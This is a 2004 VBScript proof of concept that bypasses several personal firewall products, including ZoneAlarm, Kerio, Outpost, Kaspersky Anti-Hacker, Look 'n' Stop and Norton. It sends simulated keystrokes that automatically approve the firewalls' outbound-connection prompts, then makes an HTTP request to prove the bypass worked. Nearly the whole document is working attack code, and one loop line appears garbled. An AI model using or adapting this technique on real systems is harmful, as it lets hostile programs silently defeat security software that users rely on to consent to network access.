'*********************************************************** '// By Ferruh Mavituna '// ferruh{@}mavituna.com, http://ferruh.mavituna.com '*********************************************************** '// Date : 4/25/2004 '// Simple POC for Bypassing multiple firewall products '*********************************************************** 'HISTORY '3/5/2004 'Added ZA '5/5/2004 'Added Kerio, Outpost '6/5/2004 'Added Kaspersky Anti-Hacker '5/9/2004 'LooknStop '5/20/2004 'Norton '*********************************************************** Option Explicit Dim arrKeys(5,5), arrDelays(5,2), arrRegistry(5,1),intFirewall Const EXTRADELAY = 0 Const DETERMINEFIREWALL = FALSE 'Auto Determine current Firewall '---------------------------------------------- 'Define Delays and Times for Firewalls '---------------------------------------------- '// Firewalls 'ZoneAlarm Pro, 4.5.530 (tested Windows 2003 & WinXP) | www.zonelabs.com Const ZoneAlarm = 0 'Kerio 4.0.14 Const Kerio = 1 'Agnitium Outpost Firewall 2.1.303.4009 (314) | www.agnitium.com Const Outpost = 2 'Kaspersky Anti-Hacker 1.5.119.0 | www.kaspersky.com Const Kaspersky = 3 'Look 'n' Stop 2.04p2 | www.looknstop.com Const LooknStop = 4 'Norton | www.norton.com Const Norton = 5 'Select Active Firewall intFirewall = ZoneAlarm '// Configuration 'Define Keys, Delays, Repeat Times for Firewalls 'Kaspersky Anti-Hacker arrDelays(Kaspersky,0) = 400 arrDelays(Kaspersky,1) = 2 arrKeys(Kaspersky,0) = "{ENTER}" 'Just say OK 'ZoneAlarm arrDelays(ZoneAlarm,0) = 10 arrDelays(ZoneAlarm,1) = 15 arrKeys(ZoneAlarm,0) = "%R" 'Select Remember arrKeys(ZoneAlarm,1) = "%Y" 'Yes 'Outpost arrDelays(Outpost,0) = 1000 arrDelays(Outpost,1) = 1 arrKeys(Outpost,0) = "+{TAB}" 'Go back once arrKeys(Outpost,1) = "{UP 2}" 'Go Up arrKeys(Outpost,1) = "{ENTER}" 'Enter 'Kerio arrDelays(Kerio,0) = 100 arrDelays(Kerio,1) = 10 arrKeys(Kerio,0) = " " ' Space - Remember, Do not ask again ! arrKeys(Kerio,1) = "%P" ' Yes 'LookNStop arrDelays(LooknStop,0) = 1000 arrDelays(LooknStop,1) = 1 arrKeys(LooknStop,0) = "(%+{TAB})" ' Authorize arrKeys(LooknStop,1) = "{LEFT}" ' Left arrKeys(LooknStop, 2) = " " ' Space 'Norton arrDelays(Norton,0) = 100 arrDelays(Norton,1) = 5 arrKeys(Norton,0) = "%A" ' Allow arrKeys(Norton,1) = "%O" ' OK If DETERMINEFIREWALL Then 'TODO:Read Registries and determine it ! End If Dim argLen, shell, sendKeyMod, i, j, appName appName = Wscript.ScriptName 'SendKey sendkeyMod = False argLen = WScript.Arguments.Length If argLen>0 Then sendkeyMod = True Set shell = WScript.CreateObject("WScript.Shell") If sendKeyMod Then 'First Sleep for a while If EXTRADELAY>0 Then WScript.Sleep EXTRADELAY 'Force While i"" Then shell.sendKeys arrKeys(intFirewall,j) End If Next Wend 'Exit 'Wscript.Echo "Exit !" Wscript.Quit 1 End If 'Wscript.Echo WScript.ScriptFullName Call shell.Run(appName & " /send") 'Connect Wscript.Echo connect("http://ferruh.mavituna.com") & "Mission Accomplished..." Set shell = Nothing Wscript.Quit 1 Function connect(ByVal URL) Dim web Set web = CreateObject("Microsoft.XmlHttp") web.open "HEAD", URL, FALSE web.send "" connect = web.getAllResponseHeaders Set web = Nothing End Function